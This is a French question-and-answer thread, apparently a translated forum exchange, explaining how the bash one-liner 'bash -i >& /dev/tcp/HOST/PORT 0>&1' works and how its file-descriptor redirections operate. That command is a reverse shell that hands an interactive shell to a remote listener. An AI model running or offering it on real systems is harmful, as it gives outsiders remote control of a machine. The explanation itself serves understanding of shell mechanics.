Réponses:
Cet extrait de code exécute une nouvelle instance interactive de bash ( bash -i
), sur une connexion TCP au port spécifié sur l'hôte spécifié qui est créé pour la durée du processus bash. La sortie standard et l'erreur standard sont envoyées via cette connexion ( >& /dev/tcp/HOST/PORT
), et l'entrée standard est lue via cette connexion ( 0>&1
- cela devrait être 0<&1
mais 0>&1
fonctionne aussi).
Il n'y a aucune redirection de port en cours. De toute évidence, un serveur TCP quelconque doit écouter et accepter les connexions sur cet HÔTE: PORT, et le pare-feu doit laisser passer la connexion.
/dev/tcp/HOST/PORT
? J'ai supposé que vous aviez remplacé un nom par HOST
et un nombre par PORT
. Sinon, vous obtiendrez un message d'erreur de bash. Puisque vous n'avez mentionné aucun message d'erreur, je suppose que vous n'en avez pas vu.
0<&1
pièce. Je l'ai lu comme «prenez bash stdout ( &1
) et canalisez-le dans bash stdin ( 0
)», ce qui est logique. Pouvez-vous expliquer comment cette partie fonctionne?
0<&1
signifie connecter tout ce qui est actuellement ouvert sur le descripteur de fichier 1 au descripteur de fichier 0. Puisque la redirection précédente >& /dev/tcp/HOST/PORT
connectait fd 1 (la valeur par défaut pour une redirection de sortie) à /dev/tcp/HOST/PORT
, c'est- à -dire, a ouvert un socket TCP, cela duplique la connexion TCP au descripteur de fichier 0 (c'est-à-dire le le même socket est maintenant également ouvert sur fd 0, ce qui est différent de 0 </ dev / tcp / HOST / PORT qui ouvrirait un socket différent sur le même serveur).